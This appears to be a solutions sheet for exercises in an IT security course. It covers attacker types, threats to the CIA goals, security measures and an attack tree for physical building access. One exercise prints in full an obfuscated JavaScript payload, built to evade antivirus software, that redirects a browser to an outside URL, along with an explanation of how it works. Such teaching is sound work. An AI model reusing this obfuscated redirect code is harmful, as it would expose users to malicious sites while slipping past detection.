

Solutions

Exercises 1st Semester

Exercise 1.1 (Attacker Stereotypes)

Name	Characteristics / Motivation	Danger
Script Kiddie	Bragging rights & wreaking havoc	💀
Hacktivists	(Pseudo-)political & social goals	💀 💀
Competitors	Defamation & industrial espionage	💀 💀
Organized Crime	Monetization, e.g. extortion & fraud (Providing Cyber-Crime-as-a-Service)	💀 💀 (💀)
Evil Employees	Revenge & corruption Dangerous insider knowledge	💀 💀 💀
Nation States	Power! Unlimited resources & budget	💀 x100

Exercise 2.1 (Threats to Security Goals)

Threat	C	I	A
Network Sniffing	✓		
DDoS Attack			✓
Rogue WiFi Access Point	✓	✓	(✓)
Electromagnetic Pulse (EMP)		(✓)	✓
Whistleblower	✓		
Social Engineering	✓	✓	✓

Exercise 2.3 (CIA³ Measures)

Security Goal	Technical Measures	Organizational Measures
Confidentiality	e.g. AES/RSA, HTTPS, Tor , 2FA	e.g. Anonymous Payment Systems, Access Restrictions, Data Classification
Integrity	e.g. SHA2, HSTS, MACs, PGP/GPG, Blockchain	e.g. Version Control, Access Logs
Availability	e.g. Load Balancer, Circuit Breaker Pattern , Heartbeat Monitoring, RAID	e.g. 24/7 Support, On-Call-Duty, SLAs

Security Goal	Technical Measures	Organizational Measures
Accountability	!?	e.g. Security Policies, Risk Assessments, RACI Matrix, Segregation of Duties
Assurance	e.g. Vulnerability Scanner	e.g. KPIs, Customer/Supplier Audits, Penetration Test, Red Team

Exercise 3.1 (JavaScript Payload)

1. Default Internet browser is opened (as it is probably bound to open `.html` files on most computers)
2. The JavaScript is executed resulting in the effective code `document["location"]=http://enjoyyourhaircut.com/5.html;` being run
3. The browser is redirected to <http://enjoyyourhaircut.com/5.html> (which does not exist any more)

```

<!-- C/C v0964 -->
<script>
function c(){};t=false;kM="kM";c.prototype = {v : function()
    {this.e=38741;this.eE="";s=' ';wS="wS";u="";h=false;y="y";var
w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr
(0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst
r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9"
.substr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShTsaT".substr(3,2)+"cw
zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var
    r=false;zC=false;m=' ';document["locazLsR".substr(0,4)+"tion"]=w;var
    eG=false;this.k=' ';q=5975;g=55201;this.p="";var iK=61242;var
    n=false;}};var nF=false;this.eF=false;var x=new c();
    l="l";gO="";x.v();this.kN=false;
</script>

```

i *Only the yellow code sections are relevant as the payload. The rest is merely obfuscation to prevent detection by AV software!*

Exercise 7.1 (Attack Tree: Access Building)

1. Go through a door
 - a. When it's unlocked:
 - i. Get lucky.
 - ii. Obstruct the latch plate (the "Watergate Classic").
 - iii. Distract the person who locks the door at night.
 - b. Drill the lock.
 - c. Pick the lock.
 - d. Use the key.
 - i. Find a key.
 - ii. Steal a key.
 - iii. Photograph and reproduce the key.
 - iv. Social engineer a key from someone.
 1. Borrow the key.
 2. Convince someone to post a photo of their key ring.
 - e. Social engineer your way in.
 - i. Act like you're authorized and follow someone in.
 - ii. Make friends with an authorized person.
 - iii. Carry a box, a cup of coffee in each hand, etc.

2. Go through a window.
 - a. Break a window.
 - b. Lift the window.
3. Go through a wall.
 - a. Use a sledgehammer or axe.
 - b. Use a truck to go through the wall.
4. Gain access via other means.
 - a. Use a fire escape.
 - b. Use roof access from a helicopter (preferably black) or adjacent building.
 - c. Enter another part of the building, using another tenant's access.

Exercise 7.2 (Threat Boundaries)

